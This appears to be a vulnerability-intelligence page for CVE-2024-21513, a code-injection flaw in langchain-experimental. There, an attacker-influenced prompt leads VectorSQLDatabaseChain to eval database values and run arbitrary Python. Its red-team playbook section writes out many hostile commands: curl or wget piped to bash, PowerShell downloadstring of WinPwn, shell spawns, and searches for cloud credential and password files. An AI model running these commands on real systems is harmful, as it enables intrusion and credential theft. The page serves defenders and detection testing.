CVE-2024-21513
Overview
This vulnerability is a code injection flaw caused by unsafe use of Python's eval function on database-retrieved values within the langchain-experimental package. Specifically, the VectorSQLDatabaseChain component attempts to evaluate all values fetched from the database without sanitization, enabling execution of arbitrary Python code. The root cause lies in the direct invocation of eval on untrusted input within versions 0.0.15 up to and including 0.0.21 of the package.
Vulnerability Description
Versions of the package langchain-experimental from 0.0.15 and before 0.0.21 are vulnerable to Arbitrary Code Execution when retrieving values from the database, the code will attempt to call 'eval' on all values. An attacker can exploit this vulnerability and execute arbitrary python code if they can control the input prompt and the server is configured with VectorSQLDatabaseChain. **Notes:** Impact on the Confidentiality, Integrity and Availability of the vulnerable component: Confidentiality: Code execution happens within the impacted component, in this case langchain-experimental, so all resources are necessarily accessible. Integrity: There is nothing protected by the impacted component inherently. Although anything returned from the component counts as 'information' for which the trustworthiness can be compromised. Availability: The loss of availability isn't caused by the attack itself, but it happens as a result during the attacker's post-exploitation steps. Impact on the Confidentiality, Integrity and Availability of the subsequent system: As a legitimate low-privileged user of the package (PR:L) the attacker does not have more access to data owned by the package as a result of this vulnerability than they did with normal usage (e.g. can query the DB). The unintended action that one can perform by breaking out of the app environment and exfiltrating files, making remote connections etc. happens during the post exploitation phase in the subsequent system - in this case, the OS. AT:P: An attacker needs to be able to influence the input prompt, whilst the server is configured with the VectorSQLDatabaseChain plugin.
Impact
An attacker with the ability to influence the input prompt on a server configured with VectorSQLDatabaseChain can execute arbitrary Python code within the langchain-experimental environment. This allows unauthorized access to all resources accessible by the component and can lead to exfiltration of files, remote connections, and further system compromise during post-exploitation. The attacker requires low-privileged user access (PR:L) and network access (AV:N) but no user interaction (UI:N). The vulnerability impacts confidentiality, integrity, and availability as indicated by the CVSS vector.
Solution
Users should upgrade langchain-experimental to a version later than 0.0.21 where this vulnerability is fixed, as detailed in the GitHub commit 7b13292e3544b2f5f2bfb8a27a062ea2b0c34561. Refer to the Snyk advisory at https://security.snyk.io/vuln/SNYK-PYTHON-LANGCHAINEXPERIMENTAL-7278171 for patch details and instructions. Avoid using vulnerable versions and ensure the VectorSQLDatabaseChain plugin is not configured with untrusted inputs until patched.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the langchain-experimental package, specifically in versions prior to 0.0.21, is characterized by the potential for arbitrary code execution. This flaw arises when the package retrieves values from a database and inadvertently invokes the 'eval' function on these values. The 'eval' function in Python executes the passed string as code, which can lead to severe security implications if an attacker can manipulate the input prompt. This vulnerability is particularly critical when the server is configured with the VectorSQLDatabaseChain, as it provides an avenue for attackers to execute arbitrary Python code within the context of the application.
Attack vectors for this vulnerability primarily hinge on the ability of an attacker to control the input prompt that the langchain-experimental package processes. By crafting a malicious input, an attacker can leverage the 'eval' function to execute arbitrary code, potentially leading to unauthorized access to sensitive data or system resources. For instance, an attacker could manipulate the input to exfiltrate files, establish remote connections, or perform other malicious actions that compromise the integrity and confidentiality of the system. The exploitation of this vulnerability does not require elevated privileges beyond those of a low-privileged user, making it particularly concerning as it lowers the barrier for potential attackers.
The real-world impact of this vulnerability can be significant, especially for organizations that rely on the langchain-experimental package for data processing and interaction with databases. The ability to execute arbitrary code can lead to unauthorized access to confidential information, data breaches, and potential system compromise. Moreover, the integrity of the data processed by the application can be undermined, as attackers could manipulate or corrupt the information returned by the package. The availability of the system may also be affected, albeit indirectly, as post-exploitation actions could disrupt normal operations, leading to downtime and associated financial losses.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. First, it is crucial to implement strict input validation and sanitization measures to prevent the execution of untrusted code. This can involve using safer alternatives to 'eval' or employing libraries that provide secure evaluation functions. Additionally, organizations should ensure that they are using the latest version of the langchain-experimental package, as updates often include patches for known vulnerabilities. Regular security audits and code reviews can also help identify potential weaknesses in the application that could be exploited. Furthermore, monitoring for unusual activity within the application can aid in early detection of exploitation attempts, allowing for a more rapid response to potential threats.
In conclusion, the vulnerability within the langchain-experimental package poses a serious risk to the confidentiality, integrity, and availability of systems utilizing this component. The ease of exploitation, combined with the potential for significant impact, underscores the importance of proactive security measures. Organizations must prioritize timely updates, robust input validation, and continuous monitoring to safeguard against the threats posed by this and similar vulnerabilities. By adopting a comprehensive security posture, businesses can better protect their assets and maintain trust with their stakeholders.
CSURFACE threat intelligence has identified a marked escalation in the exploit prediction scoring for CVE-2024-21513, with the EPSS rising significantly over the past week. This upward trend signals an increasing likelihood of active exploitation attempts in the wild, corroborated by the emergence of new proof-of-concept exploits available on public repositories. The rapid growth in exploitability metrics indicates that threat actors are intensifying efforts to leverage this vulnerability, particularly given its high severity and the potential for arbitrary code execution in environments using the vulnerable langchain-experimental package. For defenders, this shift elevates the urgency to monitor for exploitation indicators closely, as the expanding exploit landscape raises the probability of targeted attacks and opportunistic abuse. Consequently, the overall threat level associated with CVE-2024-21513 has increased, reflecting a heightened risk posture that demands sustained vigilance.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Langchain | Langchain-Experimental | All |
cpe:2.3:a:langchain:langchain-experimental:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
SavageSanta11/Reproduce-CVE-2024-21513
|
SavageSanta11 | 0 | 0 | 2025-03-04 | View |
|
nskath/CVE-2024-21513
PoC for CVE-2024-21513
|
nskath | 0 | 0 | 2025-04-09 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-21513 |
| security.snyk.io |
GitHub CVE
|
https://security.snyk.io/vuln/SNYK-PYTHON-LANGCHAINEXPERIMENTAL-7278171 |
| github.com |
GitHub CVE
|
https://github.com/langchain-ai/langchain/blob/672907bbbb7c38bf19787b78e4ffd7c8a9026fe4/libs/experimental/langchain_experimental/sql/vector_sql.py%23L81 |
| github.com |
GitHub CVE
|
https://github.com/langchain-ai/langchain/commit/7b13292e3544b2f5f2bfb8a27a062ea2b0c34561 |